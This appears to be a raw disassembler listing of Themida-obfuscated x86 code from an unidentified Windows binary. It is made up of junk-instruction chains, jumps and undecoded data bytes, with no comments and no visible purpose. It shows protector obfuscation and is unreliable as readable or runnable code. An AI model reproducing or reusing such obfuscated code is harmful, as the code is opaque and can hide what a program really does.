		mov	esi, [esp]
		add	esp, 4
		pop	ebp
		and	eax, esi
		mov	esi, [esp]
		push	174Fh
		jmp	loc_612158
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 571Ah, 81243C89h,	4ECh, 567FE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61287E:				; CODE XREF: Themida_:0060FEEFj
		neg	ebp
		jmp	loc_611000
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 0E9000000h, 1FFDh, 5C243C33h, 57240481h, 0E91F3316h
		dd 0FFFFD02Eh
; ---------------------------------------------------------------------------


loc_6128A0:				; CODE XREF: Themida_:006183A4j
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 1Ch
		mov	ebx, eax
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_619A65
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_6100D4
; ---------------------------------------------------------------------------
aQsj		db 'Q ',0
		db 0
; ---------------------------------------------------------------------------


loc_6128CF:				; CODE XREF: Themida_:00610075j
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_619D15
; ---------------------------------------------------------------------------
		dd 0E1C0C9FEh, 80C1FE05h, 0C80043C1h, 0FFF2F8E9h, 0C6E941FFh
		dd 83FFFFFEh, 0C8704E9h, 3C895C24h, 0E9E78924h,	0FFFFFD56h
		dd 4C481h, 1BE90000h, 5C000055h, 815BD801h, 4ECh, 240C8900h
		dd 69A2E9h, 0FFFB0100h,	815F2434h, 4C4h, 0C1C38100h, 810C4200h
		dd 4240BEEBh, 50C38103h, 294D8A76h, 0D1D7E9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61294A:				; CODE XREF: Themida_:006130DFj
		pop	dword ptr [edi+20h]
		add	dword ptr [edi+20h], 3FBE6F92h
		pop	ecx
		push	ebx
		push	20h
		pop	ebx
		add	ebx, edi
		add	[ebx], esi
		jmp	loc_61BEA9
; ---------------------------------------------------------------------------
		db 68h,	0E7h, 7Bh
		dd 815B58B4h, 0B47BE3F3h, 5BD98958h, 3CD4E9h, 1FE95E00h
		dd 0AD000031h, 5457D831h, 4C7815Fh, 53000000h, 764894BBh
		dd 0B8504B32h, 0CD89B771h, 2958C301h, 241C8BDFh, 8704C483h
		dd 248B243Ch, 24348924h, 8AFD76BEh, 8BD5552h, 81126268h
		dd 6CBEE6C5h, 5DE80168h, 0EE2DF029h, 0FF7ACF26h, 0C0E92434h
		db 87h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_6129CF:				; CODE XREF: Themida_:0061AB11j
		push	26445049h
		mov	ebp, [esp]
		add	esp, 4
		push	3EEAh
		mov	[esp], esi
		jmp	loc_614313
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 1CE4E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6129F2:				; CODE XREF: Themida_:00619951j
		add	ebx, 38EB3F4Eh
		jmp	loc_610D3E
; ---------------------------------------------------------------------------
		db 31h,	14h, 24h
		dd 0E9241433h, 3AFCh
; ---------------------------------------------------------------------------


loc_612A08:				; CODE XREF: Themida_:00616CDCj
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		jmp	loc_612799
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 56E18924h, 4BEh, 5EF10100h, 4E45E9h,	14B95100h, 15633FBh
		dd 0DF3159CBh, 5FF9295Bh, 8159C831h, 4ECh, 242C8900h, 8D96851h
		dd 0E95951A9h, 163Ch, 1D1968h, 24348900h, 6E652BBEh, 27EE8137h
		dd 1376E65h, 0E9515EF2h, 3B1Ah,	0E981D9F7h, 5674AF17h
		dd 5222C281h, 0CA016A80h, 5222EA81h, 0C8B6A80h,	4C48324h
		dd 31241433h, 0F0E92414h, 100008Dh, 24348BF0h, 70AE68h
		dd 240C8900h, 0C181E189h, 4, 6DDFE956h,	44810000h, 58EC0424h
		dd 4429471Fh, 6C810424h, 58EC0424h, 0FF58471Fh,	555A2434h
		dd 0FFEAE9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_612AD1:				; CODE XREF: Themida_:00611265j
		add	[esp+8], ebx
		pop	ebx
		push	edi
		mov	edi, 0AA03732h
		add	[esp+8], edi
		jmp	loc_6192FF
; ---------------------------------------------------------------------------
		db 33h,	3Ch, 24h
		dd 3024248Bh, 0E99C2404h, 0FFFFCDDAh, 2B60F66h,	51E28952h
		dd 24EDE9h, 93E78000h, 0E9B2CF80h, 4EC0h
; ---------------------------------------------------------------------------


loc_612B0C:				; CODE XREF: Themida_:0061495Bj
		push	edx
		mov	edx, 53F55862h
		add	eax, edx
		pop	edx
		add	eax, ecx
		sub	eax, 53F55862h
		pop	ecx
		sub	eax, 2
		jmp	loc_612502
; ---------------------------------------------------------------------------


loc_612B27:				; CODE XREF: Themida_:00617E0Fj
		pop	edi
		jmp	loc_6191A9
; ---------------------------------------------------------------------------
aSlb		db '% "',0Dh,'髁',0
		dw 8900h
		dd 4812424h, 424h, 24048B00h, 0FC86E952h, 0EF81FFFFh, 0D933993h
		dd 0FFFE24E9h, 84F781FFh, 0E9C276F8h, 370Fh, 8B243C87h
		dd 0BD552424h, 2EE4224Eh, 8102E5C1h, 391C9AF5h,	39ED8113h
		dd 0E91A7672h, 0FFFFD94Fh, 0C188BFB0h, 8EC18058h, 1BA668h
		dd 241C8900h, 0EF8032B7h, 5BF928B8h, 0C180D100h, 8EE9807Ah
		dd 8124148Bh, 4C4h, 59CF8800h, 0FFD2E4E9h, 41D1F7FFh, 11DFF181h
		dd 0CE890F4Eh, 24448159h, 2667B404h, 24740162h,	246C8104h
		dd 2667B404h, 24348B62h, 35DE9h, 44015F00h, 0A3E90424h
		dd 81000073h, 4C2h, 58545000h, 405h, 0D769E900h, 166FFFFh
		dd 0E95966C8h, 80EFh, 8BF8015Bh
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_610F7A
; ---------------------------------------------------------------------------
		dw 0BBE9h
		dd 5BFFFFCCh, 86FFED80h, 86D4F6E5h, 41ADE9E5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_612C22:				; CODE XREF: Themida_:0061A4B6j
		xor	esi, 3DF635h
		xor	ebx, esi
		jmp	loc_618887
; ---------------------------------------------------------------------------
		db 0BBh
		dd 25FB7296h, 8606DDBEh, 8BDE314Eh, 0CE9241Ch, 0FF000089h
		dd 669D1C77h, 14D36659h, 0E9E99C24h, 8BFFFFE9h,	0B1E92404h
		dd 0BD000067h, 54BD70A6h, 8108EDC1h, 1D7377EDh,	0FFEE29C0h
		dd 0E95D2434h, 81C3h
; ---------------------------------------------------------------------------


loc_612C74:				; CODE XREF: Themida_:0060FE3Dj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	esp, 4
		push	653h
		mov	[esp], esi
		push	ebp
		jmp	loc_61284B
; ---------------------------------------------------------------------------


loc_612C92:				; CODE XREF: Themida_:0061AA2Ej
		add	esp, 4
		pop	eax
		push	edi
		push	ebx
		mov	ebx, 39E127ACh
		jmp	loc_6138C8
; ---------------------------------------------------------------------------
aQsZ		db 'Qz',0
		db 0
; ---------------------------------------------------------------------------


loc_612CAB:				; CODE XREF: Themida_:00615C79j
		xor	edx, 4D78364Ch
		or	eax, edx
		pop	edx
		jmp	loc_618F2A
; ---------------------------------------------------------------------------
aUsoz		db 'UOz',0
		db 0
; ---------------------------------------------------------------------------


loc_612CBF:				; CODE XREF: Themida_:00617472j
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_619FEA
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 5FA1h, 83241489h,	248904ECh, 4BA5224h, 1000000h
		dd 5A042454h, 5E2DE9h, 2B73500h, 0EB8117FDh, 39E0602Bh
		dd 0C381C329h, 39E0602Bh, 2BC38158h, 817FB73Dh,	8B3B9BC3h
		dd 0E9C32938h, 0FFFFD958h, 64E9C628h
		db 8Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_612D1B:				; CODE XREF: Themida_:00614285j
					; DATA XREF: ___:off_444540o
		sub	edx, 817637D8h
		sub	ecx, edx
		pop	edx
		xor	ecx, 36117036h
		xor	ecx, edx
		xor	edx, ecx
		xor	ecx, edx
		not	edx
		xchg	edx, ecx
		push	edi
		mov	edi, 75E61A22h
		and	ecx, edi
		pop	edi
		xor	ecx, 34E01A01h
		mov	ebp, ecx
		pop	ecx
		and	eax, ebp
		pop	ebp
		or	edx, eax
		shl	edx, 1
		push	ecx
		push	esi
		push	ebx
		push	4A537B9Ch
		pop	ebx
		jmp	loc_6108C3
; ---------------------------------------------------------------------------


loc_612D5B:				; CODE XREF: Themida_:00611FD0j
		not	dword ptr [esp]
		pop	ecx
		xchg	ecx, [esp]
		pop	esi
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_61A6DF
; ---------------------------------------------------------------------------
		dd 4C48158h, 50000000h,	4B8h, 58C12900h, 0E9240C87h, 5DA7h
; ---------------------------------------------------------------------------


loc_612D8C:				; CODE XREF: Themida_:00613109j
		push	ecx
		pop	esi
		jmp	loc_619755
; ---------------------------------------------------------------------------


loc_612D93:				; CODE XREF: Themida_:0061A850j
		mov	edi, 5E826478h
		push	edi
		push	esi
		push	34C6512h
		pop	esi
		jmp	loc_610EE3
; ---------------------------------------------------------------------------


loc_612DA5:				; CODE XREF: Themida_:0061A6E6j
		sub	edi, 7406105Bh
		push	ebx
		push	esi
		mov	esi, 66AE61E8h
		sub	esi, 0E717E48Ah
		mov	ebx, esi
		pop	esi
		jmp	loc_61A6CE
; ---------------------------------------------------------------------------


loc_612DC0:				; CODE XREF: Themida_:006114A8j
		add	esp, 4
		push	esi
		jmp	loc_61BA22
; ---------------------------------------------------------------------------


loc_612DC9:				; CODE XREF: Themida_:00617032j
		shl	ebx, 3
		jmp	loc_61760B
; ---------------------------------------------------------------------------


loc_612DD1:				; CODE XREF: Themida_:0061AA42j
		push	ebp
		mov	ebp, 4
		jmp	loc_613BC1
; ---------------------------------------------------------------------------
		dd 241C8B66h, 0CC0E9h
		db 0
; ---------------------------------------------------------------------------


loc_612DE5:				; CODE XREF: Themida_:0061BE32j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_61827B
; ---------------------------------------------------------------------------
		dd 0BFF1815Bh, 293902AFh, 0F38159CBh, 0A7BACCC9h, 815BD829h
		dd 0C00C5EEFh, 81C7011Eh, 0C00C5EC7h, 77E9581Eh, 21000002h
		dd 2434FFE8h, 83242C8Bh, 895304C4h, 4C381E3h, 57000000h
		dd 4BFh, 0C3C38100h, 0E9282D3Eh, 55AEh,	0D8E95966h, 0FF00004Bh
		dd 48B2434h, 69C06824h,	1C890000h, 51E38924h, 619ABD55h
		dd 0C145156Fh, 0F58105E5h, 3EF10F3Dh, 8105E5C1h, 60576AEDh
		dd 85ED8126h, 8927932Ch, 0E9835DE9h, 50D1F7FFh,	5AC7E9h
		dd 0DAC28100h, 1473C82h, 0D8015AD0h, 4EC8351h, 0FFCF34E9h
		dd 0F75393FFh, 1C8B2414h, 4C48124h, 93000000h, 3415C0Dh
		dd 0A0BD555Dh, 8146B855h, 4643C4EDh, 74AFE905h,	248B0000h
		dd 0CA0CE924h, 5059FFFFh, 0AC34D6B8h, 2E8C126h,	0E457A505h
		dd 60F3E92Fh, 0C6810000h, 4, 5C243487h,	188F901h, 68240C8Bh
		dd 50D7h, 89241C89h, 4C381E3h, 83000000h, 1C8704C3h, 0A65E924h
		dd 0E9510000h, 89FFh, 5304C483h, 4BBh, 5BD80100h, 5C240487h
		dd 0FFDB38E9h, 24048BFFh, 4EEEE952h, 5AD0000h, 5EBE412Fh
		dd 74B4E9h, 0C998E900h,	0F268FFFFh, 0E900003Ah,	8B1h, 54273DB8h
		dd 6E70056Eh, 0E10D5E16h, 256EE46Ah, 55441561h,	0E906E0C1h
		dd 0FFFFEDB5h, 399AF581h, 0E8297737h, 1A80685Dh, 1C890000h
		dd 0B2BF5724h, 0E9787E7Fh, 0FFFFEE4Bh, 0CA86E955h, 0ED81FFFFh
		dd 0EFEAE529h, 7384E9h
		db 0
; ---------------------------------------------------------------------------


loc_612F89:				; CODE XREF: Themida_:00619804j
		sub	esi, 6F827EE9h
		not	esi
		sub	esi, 557E74BAh
		shr	esi, 8
		not	esi
		push	edx
		push	edi
		mov	edi, 4C0458B5h
		xchg	edx, edi
		inc	edx
		xchg	edx, edi
		push	ebx
		mov	ebx, 66D24201h
		shl	ebx, 1
		shl	ebx, 7
		dec	ebx
		xor	ebx, 3DC4F461h
		jmp	loc_618112
; ---------------------------------------------------------------------------
aRs_1		db 'R ',0
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_61553D
; ---------------------------------------------------------------------------


loc_612FD3:				; CODE XREF: Themida_:00619E16j
		xchg	esi, [esp]
		pop	esp
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_614F21
; ---------------------------------------------------------------------------
		dd 0CCFEC4FEh, 8053B151h, 0CC0801F1h, 12B35359h, 31EEE9h
		dd 0FDEF8100h, 1001207h, 0C6835FFEh, 24348702h,	6624248Bh
		dd 9C240431h, 0FFC8B1E9h, 241487FFh, 8924248Bh,	60682404h
		dd 8900007Eh, 4832424h,	4CE90424h
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_613037:				; CODE XREF: Themida_:0061634Fj
		add	ebx, 0A7A93D7Bh
		jmp	loc_61B0D2
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48324h, 85B1C281h,	0D501AC16h, 5A2434FFh, 4C481h
		dd 0BA520000h, 265230BBh, 8102EAC1h, 965E70CAh,	84C2810Ch
		dd 1F26921h, 1EE95AD5h
		db 77h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_613077:				; CODE XREF: Themida_:006181D7j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	eax, edi
		jmp	loc_61982A
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 8B243C87h, 0B60F2424h, 0A4E951C8h, 5E00002Eh, 0FFE9B1E9h
		dd 4C681FFh, 87000000h,	555C2434h, 4BDh, 5DEE0100h, 16D1BA52h
		dd 0E2C1598Fh, 0D2C28105h, 0E925A970h, 66D7h
; ---------------------------------------------------------------------------


loc_6130D0:				; CODE XREF: Themida_:0061032Ej
		add	ebp, eax
		jmp	loc_6198F1
; ---------------------------------------------------------------------------


loc_6130D7:				; CODE XREF: Themida_:0061A51Fj
		push	ecx
		sub	dword ptr [esp], 3FBE6F92h
		jmp	loc_61294A
; ---------------------------------------------------------------------------
		dd 4EC83ACh, 0B1240C89h, 0F6C1FE05h, 8BC180D9h,	8005B551h
		dd 5066FCC5h, 0E4E984B0h
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_613103:				; CODE XREF: Themida_:00617805j
		mov	[esp], ecx
		push	ebx
		pop	ecx
		push	esi
		jmp	loc_612D8C
; ---------------------------------------------------------------------------


loc_61310E:				; CODE XREF: Themida_:0061A83Bj
		neg	eax
		jmp	loc_615050
; ---------------------------------------------------------------------------


loc_613115:				; CODE XREF: Themida_:00613300j
		xor	ebp, 31F55904h
		jmp	loc_619DD8
; ---------------------------------------------------------------------------
		dd 83D831ADh, 2C8904ECh, 0F323E924h, 0F66FFFFh,	9C2404BBh
		dd 8129E9h
		db 0
; ---------------------------------------------------------------------------


loc_613139:				; CODE XREF: Themida_:006168ECj
		pop	edi
		shr	edx, 1
		push	edi
		mov	edi, 0D7256D90h
		jmp	loc_61805B
; ---------------------------------------------------------------------------
		db 68h
		dd 33447F77h, 52F6815Eh, 0C1406D0Ch, 0A6E905EEh, 0BE000007h
		dd 52A42FA0h, 7D9DF681h, 0F2013B40h, 89A9E95Eh,	0C9B90000h
		dd 0C137576Fh
		db 0E9h, 7
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_619C98
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0E95BF908h, 0FFFFE13Eh, 379BE959h, 0E9510000h, 0FFFFD3DDh
; ---------------------------------------------------------------------------


loc_6131A0:				; CODE XREF: Themida_:00616716j
		push	esi
		mov	esi, esp
		jmp	loc_61A340
; ---------------------------------------------------------------------------
		dd 805AF188h, 0B353F9E1h, 6DF3808Ch, 0CE9D928h
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6131BB:				; CODE XREF: Themida_:00619920j
		shl	edx, 7
		jmp	loc_61140F
; ---------------------------------------------------------------------------
		db 87h
		dd 815C2414h, 4C4h, 4C48100h, 0E9000000h, 4E02h, 4BA5258h
		dd 1000000h, 24148BD0h,	8304C483h, 48704C0h, 0C1815C24h
		dd 4, 0FFD787E9h, 4C381FFh, 81000000h, 4C3h, 241C8700h
		dd 0AC0E9h, 0EC81AC00h,	4, 0B7241C89h, 68CFFE50h, 5643h
		dd 0B0240489h, 34F424E5h, 17B151BFh, 0C8BC800h,	4C48324h
		dd 12E98B2Ch, 86FFFFE0h, 885366E2h, 88D7F6E7h, 865B66FCh
		dd 0E9C2FEE2h, 5FFFh, 4055D5Fh,	0E9000000h, 597Fh, 0D95076B9h
		dd 59CF2971h, 36AAE95Bh, 0EA010000h, 4374E95Dh,	51520000h
		dd 0F5E9B1B1h, 0C1000001h, 680504E0h, 535C2C1Dh, 8137CBBh
		dd 51DBF76Eh, 0F45E97B9h, 11BB5332h, 1039571h, 0FB52E9D9h
		dd 15CFFFFh, 2360E9E8h,	0C4830000h, 6C816604h, 5730224h
		dd 246C0166h, 6FC9E902h, 2C310000h, 242C3324h, 243C895Ch
		dd 0FA89C789h, 5F2434FFh, 749B68h, 6A2FE900h, 24890000h
		dd 24048124h, 4, 54B86859h, 34890000h, 1397E924h, 0B2520000h
		dd 80C2FE75h, 0F280BDCAh, 6137E967h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6132FE:				; CODE XREF: Themida_:0061642Dj
		dec	ebp
		inc	ebp
		jmp	loc_613115
; ---------------------------------------------------------------------------
		db 21h,	0D7h, 5Ah
		dd 20D2EF81h, 0E94F141Fh, 0FFFFCB16h, 24143359h, 0FFF6E0E9h
		dd 0B8168FFh, 815A6E35h, 0A5F8C1EAh, 5AD78945h,	1358EF81h
		dd 0D7F7719Ch, 81E7D147h, 0FA7BB5F7h, 0FF78115h, 811CEF52h
		dd 0F288BEFh, 0DFCFE99Bh, 7BE9FFFFh, 31FFFFC5h,	2C33242Ch
		dd 24248B24h, 9C240CD3h, 0FFC569E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_613365:				; CODE XREF: Themida_:00610689j
		pop	dword ptr [esp]
		push	6BB5h
		mov	[esp], ebp
		mov	ebp, 4
		sub	dword ptr [esp+4], 737A39C3h
		add	[esp+4], ebp
		add	dword ptr [esp+4], 737A39C3h
		jmp	loc_6119BB
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 1668240Ch, 89000015h, 18E92404h, 0F6FFFFF1h,	0B05066D2h
		dd 66C2006Ch, 87ED8058h, 0C580D500h, 0E8305A87h, 240C8B66h
		dd 81E28952h, 4C2h, 2C28300h, 0B13E9h, 5EF02900h, 4EC81h
		dd 14890000h, 25B6BA24h, 0D0297538h, 0E9D0015Ah, 6A4Fh
		dd 8B240433h, 4FE2424h,	0DBE99C24h, 81FFFFC4h, 0E4523DEAh
		dd 8434E969h, 77FF0000h, 59669D1Ch, 9C2414D3h, 6623E9h
		dd 24248B00h, 24040166h, 0C4B4E99Ch, 895CFFFFh,	6856242Ch
		dd 6C2F7267h, 0FFF317E9h, 1C77FFFFh, 419589Dh, 97E99C24h
		dd 0BFFFFFC4h, 41F26414h, 7E4BC781h, 0FB8968E7h, 83243C8Bh
		dd 0F30104C4h, 0E9DE015Eh, 0D5Fh, 4C181h, 0C1830000h, 240C8704h
		dd 5624248Bh, 0FFD9F2E9h, 0E95954FFh, 0FFFFEFF4h, 0C180D9F6h
		dd 0C61BE901h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61347A:				; CODE XREF: Themida_:0061BEB3j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	edx
		push	493Bh
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4EF62BD3h
		shr	ebp, 4
		or	ebp, 23C57551h
		not	ebp
		sub	ebp, 0D81087FEh
		jmp	loc_6163AA
; ---------------------------------------------------------------------------
		dw 0FF50h
		dd 58042474h, 5DA6E9h, 4EC8300h, 89243489h, 4C681E6h, 68000000h
		dd 7C38h, 28E9h
		db 0
; ---------------------------------------------------------------------------


loc_6134E5:				; CODE XREF: Themida_:00616853j
		push	7D6Bh
		mov	[esp], ecx
		jmp	loc_60FAAA
; ---------------------------------------------------------------------------
		dw 0CB29h
		dd 0FFDFEDE9h, 0C20158FFh, 8124048Bh, 4C4h, 24148700h
		dd 30F8E9h, 243C8900h, 4BFh, 7717E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61351A:				; CODE XREF: Themida_:00614B86j
		add	ecx, edi
		pop	edi
		sub	esp, 4
		jmp	loc_61090F
; ---------------------------------------------------------------------------
aTsj		db 'T',9,0
		align 2


loc_61352E:				; CODE XREF: Themida_:006150E8j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_615631
; ---------------------------------------------------------------------------
		db 80h,	0EDh, 0Dh
		dd 80EBCD80h, 0EA20E1F5h, 144CE9h, 51C78100h, 0E9405B76h
		dd 2BDEh, 0FFC36DE9h, 0D830ACFFh, 792DE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61356A:				; CODE XREF: Themida_:006188FAj
		push	esp
		jmp	loc_6111B1
; ---------------------------------------------------------------------------
		dd 0D5378CBBh, 81DBF71Dh, 0D5378EC3h, 4EC811Dh,	89000000h
		dd 0C8B82404h, 29593E7Ch, 1AE958C1h, 5FFFFFDFh,	4C781h
		dd 0BE560000h, 4, 875EF729h, 895C243Ch,	0BB532424h, 4
		dd 4245C01h, 0C7815F5Bh, 4, 4EC81h, 1C890000h, 0E95724h
		dd 0BF000000h, 4, 15FFB89h, 0E00AE9DFh,	0EA01FFFFh, 4EB0EA81h
		dd 0DCE945EFh
		db 88h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_6135E7:				; CODE XREF: Themida_:00614D00j
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_61B051
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 26h
		dd 16EA01Eh, 0EB835AD3h, 0CA4E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_613602:				; CODE XREF: Themida_:006140E2j
		pop	esi
		sub	edi, 705B7B37h
		add	edi, ecx
		jmp	loc_616C32
; ---------------------------------------------------------------------------


loc_613610:				; CODE XREF: Themida_:00613DC8j
		sub	ecx, 2DA2303Ch
		jmp	loc_61501D
; ---------------------------------------------------------------------------


loc_61361B:				; CODE XREF: Themida_:0061007Dj
		sub	ecx, 8087D3FEh
		xor	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_615BB9
; ---------------------------------------------------------------------------


loc_61362E:				; CODE XREF: Themida_:00618087j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_61868B
; ---------------------------------------------------------------------------
		db 68h,	59h, 28h
		dd 3C8B2B01h, 4C48124h,	5000000h, 3E8E10BAh, 0BA2DF829h
		dd 8B3E8E10h, 0C481243Ch, 4, 645868h, 240C8900h, 6828B850h
		dd 0BA521A69h, 1E7D5FA5h, 0FFE25EE9h, 48B66FFh,	0E63CE924h
		dd 1C89FFFFh, 1C8B5424h, 0E0895024h, 155FE9h
		db 0
; ---------------------------------------------------------------------------


loc_613691:				; CODE XREF: Themida_:00616F90j
		push	ebx
		mov	ebx, 35D50A9Bh
		add	ebx, 4BB971FBh
		push	eax
		mov	eax, 4D482442h
		sub	ebx, eax
		pop	eax
		jmp	loc_612570
; ---------------------------------------------------------------------------
		db 68h
		dd 0D33163Dh, 0BE565058h, 2647061Ch, 4247431h, 6E8AE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6136C2:				; CODE XREF: Themida_:0061775Fj
		push	esi
		mov	esi, 1F83C633h
		xor	ebx, esi
		pop	esi
		add	ebp, ebx
		pop	ebx
		shr	ebp, 8
		not	ebp
		inc	ebp
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_61AF9F
; ---------------------------------------------------------------------------
		dw 6866h
		dd 89660233h, 0DFE92404h, 5BFFFFC1h, 8704EE83h,	248B2434h
		dd 24048924h, 0FFFFAAE9h, 58C201FFh, 5543E9h, 4EE8100h
		dd 68000000h, 338Ch, 3B4DE9h, 34CC8000h, 34CEE9h, 24048900h
		dd 268h, 0FDCBE900h, 2966FFFFh,	0BD6655D8h, 71E97293h
		dd 89FFFFD2h, 268242Ch,	5D000000h, 5537642Dh, 5E80108h
		dd 8553764h, 212BE9h
		db 0
; ---------------------------------------------------------------------------


loc_613755:				; CODE XREF: Themida_:006112A4j
		pop	edx
		and	eax, esi
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_61AEF2
; ---------------------------------------------------------------------------
		db 5Dh,	0E9h, 28h
		dd 81000010h, 0A9E6A1C6h, 5EF58913h, 0D95909BEh, 0FFEE297Fh
		dd 32E92434h, 1000022h,	8F705D8h, 210526A9h, 5325738h
		dd 369B43E3h, 0FFC43AE9h, 0D3015EFFh, 0E924148Bh, 0B8h
		dd 0EFC1DFF7h, 45F78106h, 0E95F3F7Fh, 24F9h, 2F26BB53h
		dd 6AE933C2h, 0FFFFFFEBh, 8B042474h, 0C483242Ch, 24048F04h
		dd 6624248Bh, 2404A30Fh, 430EE99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6137DE:				; CODE XREF: Themida_:00611F84j
		xchg	esi, [esp]
		jmp	loc_6107CD
; ---------------------------------------------------------------------------


loc_6137E6:				; CODE XREF: Themida_:00618F36j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_6169DF
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0C181E189h, 4, 193FE9h, 0A4685B00h, 8900000Fh, 0DBE9242Ch
		dd 81000054h, 4C4h, 47AE6800h, 34890000h, 3D7E6824h, 1C890000h
		dd 0F405E924h, 34FFFFFFh, 24048B24h, 61BE9h, 40500h, 4870000h
		dd 0EC815C24h, 4, 0FF243489h, 5E042474h, 77DDE9h, 240C8900h
		dd 263AE9h
		db 0
; ---------------------------------------------------------------------------


loc_613859:				; CODE XREF: Themida_:00610BFEj
		mov	edi, esp
		jmp	loc_619BA0
; ---------------------------------------------------------------------------
		dd 4C481h, 0E9500000h, 5E3Eh, 9C2404D2h, 0FFC059E9h, 0DFB951FFh
		dd 310E450Ch, 0D78959CAh, 0FFC7E1E9h, 53902CFFh, 4E9B8B3h
		dd 83FFFFCFh, 3C8704EFh, 0EEE95C24h
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_61389B:				; CODE XREF: Themida_:0061ACD5j
		add	ebp, edi
		pop	edi
		sub	ebp, 37C137B7h
		sub	ebp, esi
		jmp	loc_617D72
; ---------------------------------------------------------------------------
		db 0F7h
aSa		db 'A!',0
		align 2
		dw 5356h
		dd 7CF5E9h, 2434FF00h, 4EC815Ah, 0E9000000h, 1FD3h
; ---------------------------------------------------------------------------


loc_6138C8:				; CODE XREF: Themida_:00612CA0j
		mov	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_61871F
; ---------------------------------------------------------------------------
		db 5Ah
		dd 19FFBE56h, 0C6812746h, 0D8B9E605h, 815EF201h, 4ECh
		dd 243C8900h, 53F4E9h, 0C3C68100h, 81112F49h, 1E41B9EEh
		dd 802AE914h, 0C5810000h, 4, 6804C583h,	5EB6h, 0FF242C89h
		dd 0E9042474h, 672Bh, 28B252h, 51665AD0h, 0E5C010B5h, 57C58007h
		dd 5966E828h, 0E927B551h, 7EF2h, 0C3815B54h, 4,	0FFF5ADE9h
		dd 5AF388FFh, 2434FF59h, 4C4835Ah, 1BE9D830h, 5CFFFFC9h
		dd 58A7E9h
		db 0
; ---------------------------------------------------------------------------


loc_61396D:				; CODE XREF: Themida_:00615CA4j
		or	esi, 413B729Ch
		add	esi, 88808967h
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_6101F5
; ---------------------------------------------------------------------------
		dd 815FFB01h, 4C3h, 74FF5300h, 8F5B0424h, 685C2404h, 1EAh
		dd 50243C89h, 414FB5B8h, 0F0F8E93Fh, 3505FFFFh,	5F515A6Fh
		dd 8B240487h, 4292424h,	0FFE99C24h, 5DFFFFBEh, 6985E9h
		dd 5BFE8800h, 2815EB80h, 6E73E9F3h, 36BE0000h, 0F750CA42h
		dd 0CEF681D6h, 0E93B0624h, 1FAh
; ---------------------------------------------------------------------------


loc_6139F4:				; CODE XREF: Themida_:00617AFCj
		push	ebx
		mov	ebx, 30934BB8h
